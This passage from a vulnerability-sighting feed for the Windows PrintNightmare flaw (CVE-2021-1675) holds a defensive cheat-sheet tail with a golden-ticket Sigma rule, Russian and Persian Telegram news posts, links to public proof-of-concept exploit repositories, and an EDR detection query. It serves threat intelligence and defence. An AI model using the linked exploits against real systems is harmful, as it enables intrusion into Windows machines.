@{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} | Select-Object TimeCreated, Message\n\n# Monitor for Kerberoasting\n# Set account: \"Account is sensitive and cannot be delegated\"\n# Monitor Event ID 4769 with encryption type 0x17\n```\n\n### **Web Application Defense**\n\n```bash\n# SQL Injection prevention\n# Use parameterized queries\n# Implement WAF\n# Regular security testing\n\n# XXE prevention\n# Disable external entity processing\n# Use secure XML parsers\n# Input validation\n```\n\n### **Physical Security Defense**\n\n```bash\n# USB device control\n# Implement device whitelisting\n# Disable AutoRun\n# Use Group Policy to restrict USB devices\n\n# Monitor for unusual GPO changes\n# Use Advanced Audit Policy\n# Monitor Event ID 5136, 5141\n```\n\n### **OT Security Defense**\n\n```bash\n# Network segmentation\n# Separate OT from IT networks\n# Use industrial firewalls\n# Monitor for protocol anomalies\n\n# Default credential elimination\n# Change all default passwords\n# Implement strong authentication\n# Regular credential audits\n```\n\n### **Detection Rules (Sigma/YARA/Snort)**\n\n```yaml\n# Sigma rule for Golden Ticket detection\ntitle: Golden Ticket Usage\ndescription: Detects usage of golden tickets\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4624\n        LogonType: 3\n        TargetUserName: '*$'\n        LogonProcessName: 'Kerberos'\n        AuthenticationPackageName: 'Kerberos'\n        KeyLength: 0\n    condition: selection\n```\n\n---\n\n", "creation_timestamp": "2026-08-25T16:15:28.604229Z"}, {"uuid": "efdb9d2a-5ef7-4229-89ef-f68167aaebcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "MISP/c6250a7a-63b1-4996-8734-3ab181e12e3e", "content": "", "creation_timestamp": "2026-07-24T00:15:03.098029Z"}, {"uuid": "5c5ddd98-4ad9-41fc-865c-de30befb0c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/bin_z0ne/399", "content": "\u0417\u0430\u0431\u0438\u0440\u0430\u0439\u0442\u0435\u0441\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0434\u0435\u0439 \u0438 \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0440\u044b\u0432 \u043d\u0430 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0438\u0437 \u043c\u0438\u0440\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0420\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u043e \u043d\u0435\u0440\u0430\u0437\u0431\u0435\u0440\u0438\u0445\u0435 \u0443 IT-\u0433\u0438\u0433\u0430\u043d\u0442\u043e\u0432, \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0433\u043e\u0432\u044f\u0434\u0438\u043d\u0443 \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\nPrintNightmare, \u0438\u043b\u0438 \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0442\u043e\u0440\u043e\u043f\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c PoC\n\n\u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0432\u0441\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2021-1675 \u0438  CVE-2021-34527 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows (Print Spooler). \u0418\u0445 \u0432\u0440\u043e\u0434\u0435 \u043a\u0430\u043a \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0430 \u043f\u043e\u0442\u043e\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0430\u0442\u0447 \u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c PoC\ud83d\ude2c \u041f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0432\u043e\u0432\u0441\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u043b\u044e\u0431\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u043d\u0430 \u0431\u0430\u0437\u0435 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0430 \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043e \u043a\u0438\u0431\u0435\u0440\u0430\u043f\u043e\u043a\u0430\u043b\u0438\u043f\u0441\u0438\u0441\u0430\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 MSP-\u0440\u0435\u0448\u0435\u043d\u0438\u0439 Kaseya \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 supply chain, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 REvil. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 VSA \u2014 \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u0437-\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c. \u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043c\u0435\u0441\u044f\u0446 \u043d\u0430\u0437\u0430\u0434, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0424\u0411\u0420, \u0436\u0435\u0440\u0442\u0432\u043e\u0439 REvil \u0441\u0442\u0430\u043b \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0439 \u0432 \u043c\u0438\u0440\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u043e\u0432\u044f\u0434\u0438\u043d\u044b \u2014 JBS. \u0422\u043e\u0433\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b 11 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f REvil, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430.\n\n\u0422\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0434\u0435\u043c\u043e\u043d\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Nagios\n\n\u041a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 SkyLight \u043e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0437\u044f\u043b\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041e\u043d\u0438 \u043d\u0430\u0448\u043b\u0438 \u0432 \u043d\u0435\u0439 \u0430\u0436 13 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u0438\u0445 \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0438 \u0434\u0430\u0436\u0435 \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 SoyGun \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b Nagios. \u0422\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440: \u043e\u0442 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0418 \u0435\u0449\u0435 \u0442\u0440\u0438 Rocket Chat \n\n\u0426\u0435\u043b\u044b\u0445 \u0442\u0440\u0438 \u0431\u0430\u0433\u0430 \u043d\u0430\u0448\u043b\u0438 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0435 \u2014 Blind injection, Error based injection \u0438 RCE \u0447\u0435\u0440\u0435\u0437 \u0430\u0434\u043c\u0438\u043d\u043a\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041e \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n#threatzonenews", "creation_timestamp": "2026-07-25T03:00:03.597482Z"}, {"uuid": "52bbc78e-90b8-418b-9150-da9f841ef1c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/KaitNews/8916", "content": "\u26a0\ufe0f \u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc\n\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062a\u0645\u0627\u0645\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f!\n\n\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\n\u2705 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n\n\u2705 https://github.com/afwu/PrintNightmare\n\n\u2705 https://github.com/cube0x0/CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-26T07:01:50.343339Z"}, {"uuid": "7531315c-9033-4e26-87d3-03d1fe15c00f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/KaitNews/8918", "content": "\ud83d\udd30 This EDR query to detect successful exploitation:\n\nprocess_name:spoolsv.exe AND modload:kernelbase.dll AND modload:unidrv.dll  AND modload:C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*\n\nPrintNightmare CVE-2021-1675\n\n@KaitNews", "creation_timestamp": "2026-07-26T07:01:50.386288Z"}, {"uuid": "01028495-8c2f-4e03-ae35-1ba6967247ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/bin_z0ne/399", "content": "\u0417\u0430\u0431\u0438\u0440\u0430\u0439\u0442\u0435\u0441\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0434\u0435\u0439 \u0438 \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0440\u044b\u0432 \u043d\u0430 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0438\u0437 \u043c\u0438\u0440\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0420\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u043e \u043d\u0435\u0440\u0430\u0437\u0431\u0435\u0440\u0438\u0445\u0435 \u0443 IT-\u0433\u0438\u0433\u0430\u043d\u0442\u043e\u0432, \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0433\u043e\u0432\u044f\u0434\u0438\u043d\u0443 \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\nPrintNightmare, \u0438\u043b\u0438 \u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0442\u043e\u0440\u043e\u043f\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c PoC\n\n\u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u0432\u0441\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2021-1675 \u0438  CVE-2021-34527 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows (Print Spooler). \u0418\u0445 \u0432\u0440\u043e\u0434\u0435 \u043a\u0430\u043a \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0430 \u043f\u043e\u0442\u043e\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0430\u0442\u0447 \u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c PoC\ud83d\ude2c \u041f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0432\u043e\u0432\u0441\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u043b\u044e\u0431\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u043d\u0430 \u0431\u0430\u0437\u0435 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0430 \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043e \u043a\u0438\u0431\u0435\u0440\u0430\u043f\u043e\u043a\u0430\u043b\u0438\u043f\u0441\u0438\u0441\u0430\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 MSP-\u0440\u0435\u0448\u0435\u043d\u0438\u0439 Kaseya \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 supply chain, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 REvil. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 VSA \u2014 \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u0437-\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0443\u0441\u043f\u0435\u043b\u0438 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c. \u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043c\u0435\u0441\u044f\u0446 \u043d\u0430\u0437\u0430\u0434, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0424\u0411\u0420, \u0436\u0435\u0440\u0442\u0432\u043e\u0439 REvil \u0441\u0442\u0430\u043b \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0439 \u0432 \u043c\u0438\u0440\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u043e\u0432\u044f\u0434\u0438\u043d\u044b \u2014 JBS. \u0422\u043e\u0433\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b 11 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432. \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f REvil, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430.\n\n\u0422\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0434\u0435\u043c\u043e\u043d\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Nagios\n\n\u041a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 SkyLight \u043e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0437\u044f\u043b\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041e\u043d\u0438 \u043d\u0430\u0448\u043b\u0438 \u0432 \u043d\u0435\u0439 \u0430\u0436 13 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u043e\u0431\u0440\u0430\u043b\u0438 \u0438\u0445 \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0438 \u0434\u0430\u0436\u0435 \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 SoyGun \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b Nagios. \u0422\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440: \u043e\u0442 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0418 \u0435\u0449\u0435 \u0442\u0440\u0438 Rocket Chat \n\n\u0426\u0435\u043b\u044b\u0445 \u0442\u0440\u0438 \u0431\u0430\u0433\u0430 \u043d\u0430\u0448\u043b\u0438 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0435 \u2014 Blind injection, Error based injection \u0438 RCE \u0447\u0435\u0440\u0435\u0437 \u0430\u0434\u043c\u0438\u043d\u043a\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041e \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n#threatzonenews", "creation_timestamp": "2026-07-26T00:00:47.308827Z"}, {"uuid": "f0e2fce1-6694-4ed0-abe1-09efa90db12c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/KaitNews/8916", "content": "\u26a0\ufe0f \u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc\n\nPrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\n\u0627\u06cc\u0646 